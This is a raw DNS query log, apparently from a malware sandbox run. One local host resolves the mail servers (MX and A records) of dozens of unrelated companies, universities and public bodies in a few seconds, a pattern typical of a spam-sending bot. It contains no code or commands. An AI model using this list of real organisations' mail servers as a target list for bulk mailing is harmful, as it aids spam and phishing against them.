Aug 24, 2023 19:04:29.914413929 CEST	8.8.8.8	192.168.2.8	0x3722	No error (0)	smtp.google.com		173.194.69.27	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.914413929 CEST	8.8.8.8	192.168.2.8	0x3722	No error (0)	smtp.google.com		173.194.79.26	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.914413929 CEST	8.8.8.8	192.168.2.8	0x3722	No error (0)	smtp.google.com		173.194.79.27	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.914413929 CEST	8.8.8.8	192.168.2.8	0x3722	No error (0)	smtp.google.com		108.177.119.27	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.964385986 CEST	8.8.8.8	192.168.2.8	0x3107	No error (0)	bridgetree.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.013220072 CEST	8.8.8.8	192.168.2.8	0xfc80	No error (0)	bridgetree-com.mail.protection.outlook.com		104.47.58.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.013220072 CEST	8.8.8.8	192.168.2.8	0xfc80	No error (0)	bridgetree-com.mail.protection.outlook.com		104.47.70.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.014889002 CEST	8.8.8.8	192.168.2.8	0x776f	No error (0)	aero.bombardier.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.052942991 CEST	8.8.8.8	192.168.2.8	0x5e02	No error (0)	aero-bombardier-com.mail.protection.outlook.com		104.47.11.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.052942991 CEST	8.8.8.8	192.168.2.8	0x5e02	No error (0)	aero-bombardier-com.mail.protection.outlook.com		104.47.11.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.196995020 CEST	8.8.8.8	192.168.2.8	0xd894	No error (0)	bloorhomes.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.196995020 CEST	8.8.8.8	192.168.2.8	0xd894	No error (0)	bloorhomes.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.226963043 CEST	8.8.8.8	192.168.2.8	0x39c	No error (0)	eu-smtp-inbound-2.mimecast.com		195.130.217.201	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.226963043 CEST	8.8.8.8	192.168.2.8	0x39c	No error (0)	eu-smtp-inbound-2.mimecast.com		195.130.217.211	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.226963043 CEST	8.8.8.8	192.168.2.8	0x39c	No error (0)	eu-smtp-inbound-2.mimecast.com		91.220.42.201	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.226963043 CEST	8.8.8.8	192.168.2.8	0x39c	No error (0)	eu-smtp-inbound-2.mimecast.com		195.130.217.241	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.226963043 CEST	8.8.8.8	192.168.2.8	0x39c	No error (0)	eu-smtp-inbound-2.mimecast.com		91.220.42.241	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.226963043 CEST	8.8.8.8	192.168.2.8	0x39c	No error (0)	eu-smtp-inbound-2.mimecast.com		91.220.42.211	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.431381941 CEST	8.8.8.8	192.168.2.8	0x4969	No error (0)	norfolkcounty.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.461477995 CEST	8.8.8.8	192.168.2.8	0xcd97	No error (0)	mxb-00146707.gslb.pphosted.com		67.231.158.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.476413965 CEST	8.8.8.8	192.168.2.8	0x6d1d	No error (0)	norfolkcounty-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.476413965 CEST	8.8.8.8	192.168.2.8	0x6d1d	No error (0)	norfolkcounty-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.576494932 CEST	8.8.8.8	192.168.2.8	0x23e8	No error (0)	dayspringspublishing.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.576494932 CEST	8.8.8.8	192.168.2.8	0x23e8	No error (0)	dayspringspublishing.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.611649036 CEST	8.8.8.8	192.168.2.8	0x3074	No error (0)	mx2.titan.email		34.196.219.140	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.611649036 CEST	8.8.8.8	192.168.2.8	0x3074	No error (0)	mx2.titan.email		52.73.228.168	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.611649036 CEST	8.8.8.8	192.168.2.8	0x3074	No error (0)	mx2.titan.email		52.22.39.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.792083979 CEST	8.8.8.8	192.168.2.8	0x4d7d	No error (0)	gghorg.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.828763008 CEST	8.8.8.8	192.168.2.8	0x5040	No error (0)	mail.gghorg.ca		72.142.67.82	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.844219923 CEST	8.8.8.8	192.168.2.8	0xdcc3	No error (0)	business.queensu.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.844219923 CEST	8.8.8.8	192.168.2.8	0xdcc3	No error (0)	business.queensu.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.894941092 CEST	8.8.8.8	192.168.2.8	0xea3	No error (0)	mailgw.queensu.ca		130.15.126.72	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.894941092 CEST	8.8.8.8	192.168.2.8	0xea3	No error (0)	mailgw.queensu.ca		20.116.82.78	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.964000940 CEST	8.8.8.8	192.168.2.8	0xd26b	No error (0)	specialty-care.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.964000940 CEST	8.8.8.8	192.168.2.8	0xd26b	No error (0)	specialty-care.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.969660997 CEST	8.8.8.8	192.168.2.8	0x1235	No error (0)	usd259.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.007181883 CEST	8.8.8.8	192.168.2.8	0x91c3	No error (0)	usd259-net.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.007181883 CEST	8.8.8.8	192.168.2.8	0x91c3	No error (0)	usd259-net.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.025449991 CEST	8.8.8.8	192.168.2.8	0x85f3	No error (0)	bredband.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.025449991 CEST	8.8.8.8	192.168.2.8	0x85f3	No error (0)	bredband.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.025449991 CEST	8.8.8.8	192.168.2.8	0x85f3	No error (0)	bredband.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.025449991 CEST	8.8.8.8	192.168.2.8	0x85f3	No error (0)	bredband.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.059365988 CEST	8.8.8.8	192.168.2.8	0x65dd	No error (0)	mx01.mail.icloud.com		17.57.156.30	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.059365988 CEST	8.8.8.8	192.168.2.8	0x65dd	No error (0)	mx01.mail.icloud.com		17.42.251.62	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.059365988 CEST	8.8.8.8	192.168.2.8	0x65dd	No error (0)	mx01.mail.icloud.com		17.57.152.5	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.059365988 CEST	8.8.8.8	192.168.2.8	0x65dd	No error (0)	mx01.mail.icloud.com		17.57.154.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.059365988 CEST	8.8.8.8	192.168.2.8	0x65dd	No error (0)	mx01.mail.icloud.com		17.57.155.34	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.059365988 CEST	8.8.8.8	192.168.2.8	0x65dd	No error (0)	mx01.mail.icloud.com		17.56.9.29	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.089230061 CEST	8.8.8.8	192.168.2.8	0x96c7	No error (0)	mx1c51.megamailservers.eu		91.136.8.162	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.101804018 CEST	8.8.8.8	192.168.2.8	0xe099	No error (0)	mxa-00328d01.gslb.pphosted.com		67.231.151.166	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.156795025 CEST	8.8.8.8	192.168.2.8	0x235c	No error (0)	sprynet.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.156795025 CEST	8.8.8.8	192.168.2.8	0x235c	No error (0)	sprynet.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.156795025 CEST	8.8.8.8	192.168.2.8	0x235c	No error (0)	sprynet.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.156795025 CEST	8.8.8.8	192.168.2.8	0x235c	No error (0)	sprynet.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.234170914 CEST	8.8.8.8	192.168.2.8	0xb1b7	No error (0)	zoetis.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.234170914 CEST	8.8.8.8	192.168.2.8	0xb1b7	No error (0)	zoetis.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.277085066 CEST	8.8.8.8	192.168.2.8	0x451	No error (0)	vancouver.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.277085066 CEST	8.8.8.8	192.168.2.8	0x451	No error (0)	vancouver.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.416049004 CEST	8.8.8.8	192.168.2.8	0xc7f8	No error (0)	mxa-00320301.gslb.pphosted.com		67.231.150.23	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.417495966 CEST	8.8.8.8	192.168.2.8	0x9684	No error (0)	mxb-004d2801.gslb.pphosted.com		205.220.165.22	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.571604013 CEST	8.8.8.8	192.168.2.8	0xcf3	No error (0)	mx.cogeco.net		129.158.33.68	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.637124062 CEST	8.8.8.8	192.168.2.8	0xb64c	No error (0)	lowes.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.637124062 CEST	8.8.8.8	192.168.2.8	0xb64c	No error (0)	lowes.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.754357100 CEST	8.8.8.8	192.168.2.8	0x2bfd	No error (0)	mxa-00153401.gslb.pphosted.com		67.231.151.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.798332930 CEST	8.8.8.8	192.168.2.8	0x2f4e	No error (0)	tc.tc			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.816283941 CEST	8.8.8.8	192.168.2.8	0x753c	No error (0)	mxb-00308801.gslb.pphosted.com		205.220.176.82	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.844944000 CEST	8.8.8.8	192.168.2.8	0x290d	No error (0)	tc-tc.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.844944000 CEST	8.8.8.8	192.168.2.8	0x290d	No error (0)	tc-tc.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.367666960 CEST	8.8.8.8	192.168.2.8	0x6ade	No error (0)	fairmont.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.367666960 CEST	8.8.8.8	192.168.2.8	0x6ade	No error (0)	fairmont.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.136.182	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.159.97	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.158.227	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		139.138.60.56	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.159.107	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.159.106	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.136.197	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		68.232.151.219	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.139.238	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		68.232.151.125	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		139.138.60.57	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.136.157	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.136.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.136.174	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.136.181	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.136.196	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.158.203	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.388142109 CEST	8.8.8.8	192.168.2.8	0x358	No error (0)	mx2.hc910-8.c3s2.iphmx.com		216.71.139.239	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.424395084 CEST	8.8.8.8	192.168.2.8	0x778c	No error (0)	innomagazine.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.424395084 CEST	8.8.8.8	192.168.2.8	0x778c	No error (0)	innomagazine.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.424395084 CEST	8.8.8.8	192.168.2.8	0x778c	No error (0)	innomagazine.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.424395084 CEST	8.8.8.8	192.168.2.8	0x778c	No error (0)	innomagazine.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.432725906 CEST	8.8.8.8	192.168.2.8	0x7918	No error (0)	icscourier.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.432725906 CEST	8.8.8.8	192.168.2.8	0x7918	No error (0)	icscourier.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.474852085 CEST	8.8.8.8	192.168.2.8	0x76f5	No error (0)	fuse.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.474852085 CEST	8.8.8.8	192.168.2.8	0x76f5	No error (0)	fuse.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.474852085 CEST	8.8.8.8	192.168.2.8	0x76f5	No error (0)	fuse.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.474852085 CEST	8.8.8.8	192.168.2.8	0x76f5	No error (0)	fuse.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.491725922 CEST	8.8.8.8	192.168.2.8	0x8330	No error (0)	live.co.uk			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.513185978 CEST	8.8.8.8	192.168.2.8	0xa2d3	No error (0)	eur.olc.protection.outlook.com		104.47.22.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.513185978 CEST	8.8.8.8	192.168.2.8	0xa2d3	No error (0)	eur.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.612647057 CEST	8.8.8.8	192.168.2.8	0x975b	No error (0)	mxa-00183301.gslb.pphosted.com		67.231.158.111	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.613035917 CEST	8.8.8.8	192.168.2.8	0xf13a	No error (0)	innomagazine-com.p30.spamhero.net		216.172.106.23	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.642992973 CEST	8.8.8.8	192.168.2.8	0xefb7	No error (0)	mx2.fuse.net		150.136.132.149	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.787254095 CEST	8.8.8.8	192.168.2.8	0x64e0	No error (0)	mx.sympatico.ca		209.71.208.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.873780966 CEST	8.8.8.8	192.168.2.8	0x9a4a	No error (0)	natejohnson.biz			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.873780966 CEST	8.8.8.8	192.168.2.8	0x9a4a	No error (0)	natejohnson.biz			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.873780966 CEST	8.8.8.8	192.168.2.8	0x9a4a	No error (0)	natejohnson.biz			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.873780966 CEST	8.8.8.8	192.168.2.8	0x9a4a	No error (0)	natejohnson.biz			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.873780966 CEST	8.8.8.8	192.168.2.8	0x9a4a	No error (0)	natejohnson.biz			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.873780966 CEST	8.8.8.8	192.168.2.8	0x9a4a	No error (0)	natejohnson.biz			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.873780966 CEST	8.8.8.8	192.168.2.8	0x9a4a	No error (0)	natejohnson.biz			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.887988091 CEST	8.8.8.8	192.168.2.8	0xe644	No error (0)	mosaicco.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.924568892 CEST	8.8.8.8	192.168.2.8	0x5c90	No error (0)	mosaicco-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.924568892 CEST	8.8.8.8	192.168.2.8	0x5c90	No error (0)	mosaicco-com.mail.protection.outlook.com		52.101.11.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.924568892 CEST	8.8.8.8	192.168.2.8	0x5c90	No error (0)	mosaicco-com.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.924568892 CEST	8.8.8.8	192.168.2.8	0x5c90	No error (0)	mosaicco-com.mail.protection.outlook.com		52.101.40.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.924568892 CEST	8.8.8.8	192.168.2.8	0x5c90	No error (0)	mosaicco-com.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.924568892 CEST	8.8.8.8	192.168.2.8	0x5c90	No error (0)	mosaicco-com.mail.protection.outlook.com		52.101.42.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.924568892 CEST	8.8.8.8	192.168.2.8	0x5c90	No error (0)	mosaicco-com.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.924568892 CEST	8.8.8.8	192.168.2.8	0x5c90	No error (0)	mosaicco-com.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.042576075 CEST	8.8.8.8	192.168.2.8	0x69fc	No error (0)	redrockpets.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.042576075 CEST	8.8.8.8	192.168.2.8	0x69fc	No error (0)	redrockpets.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.042576075 CEST	8.8.8.8	192.168.2.8	0x69fc	No error (0)	redrockpets.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.042576075 CEST	8.8.8.8	192.168.2.8	0x69fc	No error (0)	redrockpets.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.042576075 CEST	8.8.8.8	192.168.2.8	0x69fc	No error (0)	redrockpets.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.111756086 CEST	8.8.8.8	192.168.2.8	0x59a2	No error (0)	sears.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.137449980 CEST	8.8.8.8	192.168.2.8	0x67af	No error (0)	chrc-ccdp.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.156963110 CEST	8.8.8.8	192.168.2.8	0x94f9	No error (0)	sears-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.156963110 CEST	8.8.8.8	192.168.2.8	0x94f9	No error (0)	sears-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.174299002 CEST	8.8.8.8	192.168.2.8	0x3218	No error (0)	chrcccdp-gc-ca01b.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.174299002 CEST	8.8.8.8	192.168.2.8	0x3218	No error (0)	chrcccdp-gc-ca01b.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.320339918 CEST	8.8.8.8	192.168.2.8	0x4c3b	No error (0)	nsk-corp.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.320339918 CEST	8.8.8.8	192.168.2.8	0x4c3b	No error (0)	nsk-corp.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.343899012 CEST	8.8.8.8	192.168.2.8	0xf3c4	No error (0)	cluster5.us.messagelabs.com		67.219.246.212	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.343899012 CEST	8.8.8.8	192.168.2.8	0xf3c4	No error (0)	cluster5.us.messagelabs.com		67.219.250.217	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.343899012 CEST	8.8.8.8	192.168.2.8	0xf3c4	No error (0)	cluster5.us.messagelabs.com		67.219.247.99	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.343899012 CEST	8.8.8.8	192.168.2.8	0xf3c4	No error (0)	cluster5.us.messagelabs.com		67.219.247.195	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.343899012 CEST	8.8.8.8	192.168.2.8	0xf3c4	No error (0)	cluster5.us.messagelabs.com		67.219.250.221	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.343899012 CEST	8.8.8.8	192.168.2.8	0xf3c4	No error (0)	cluster5.us.messagelabs.com		67.219.246.211	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.354137897 CEST	8.8.8.8	192.168.2.8	0x5f9a	No error (0)	clasg.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.392657042 CEST	8.8.8.8	192.168.2.8	0x8ca9	No error (0)	clasg-com.mail.protection.outlook.com		104.47.110.36	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.392657042 CEST	8.8.8.8	192.168.2.8	0x8ca9	No error (0)	clasg-com.mail.protection.outlook.com		104.47.26.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.400965929 CEST	8.8.8.8	192.168.2.8	0x1262	No error (0)	live.no			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.426842928 CEST	8.8.8.8	192.168.2.8	0x6041	No error (0)	sheraton.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.478873014 CEST	8.8.8.8	192.168.2.8	0xb01a	No error (0)	mail.marriott.com		162.130.196.144	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.478976011 CEST	8.8.8.8	192.168.2.8	0x856d	No error (0)	central.com.pe			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.478976011 CEST	8.8.8.8	192.168.2.8	0x856d	No error (0)	central.com.pe			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.478976011 CEST	8.8.8.8	192.168.2.8	0x856d	No error (0)	central.com.pe			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.478976011 CEST	8.8.8.8	192.168.2.8	0x856d	No error (0)	central.com.pe			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.478976011 CEST	8.8.8.8	192.168.2.8	0x856d	No error (0)	central.com.pe			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.573390961 CEST	8.8.8.8	192.168.2.8	0x1956	No error (0)	fountainheaddev.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.573390961 CEST	8.8.8.8	192.168.2.8	0x1956	No error (0)	fountainheaddev.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.589036942 CEST	8.8.8.8	192.168.2.8	0xab16	No error (0)	ellisdon.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.619749069 CEST	8.8.8.8	192.168.2.8	0x5d60	No error (0)	fountainheaddev.com.2.0001.arsmtp.com		8.31.233.214	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.629096985 CEST	8.8.8.8	192.168.2.8	0x604d	No error (0)	ellisdon-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.629096985 CEST	8.8.8.8	192.168.2.8	0x604d	No error (0)	ellisdon-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.660907030 CEST	8.8.8.8	192.168.2.8	0xb85c	No error (0)	usask-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.660907030 CEST	8.8.8.8	192.168.2.8	0xb85c	No error (0)	usask-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.737561941 CEST	8.8.8.8	192.168.2.8	0x8ca6	No error (0)	boatrocker.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.784698963 CEST	8.8.8.8	192.168.2.8	0x173f	No error (0)	boatrocker-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.784698963 CEST	8.8.8.8	192.168.2.8	0x173f	No error (0)	boatrocker-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.865632057 CEST	8.8.8.8	192.168.2.8	0x9fce	No error (0)	douglascollege.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.911178112 CEST	8.8.8.8	192.168.2.8	0x5590	No error (0)	douglascollege-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.911178112 CEST	8.8.8.8	192.168.2.8	0x5590	No error (0)	douglascollege-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.149302006 CEST	8.8.8.8	192.168.2.8	0x67af	No error (0)	chrc-ccdp.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.193690062 CEST	8.8.8.8	192.168.2.8	0xb66f	No error (0)	sods.sk.ca			MX (Mail exchange)	IN (0x0001)	false
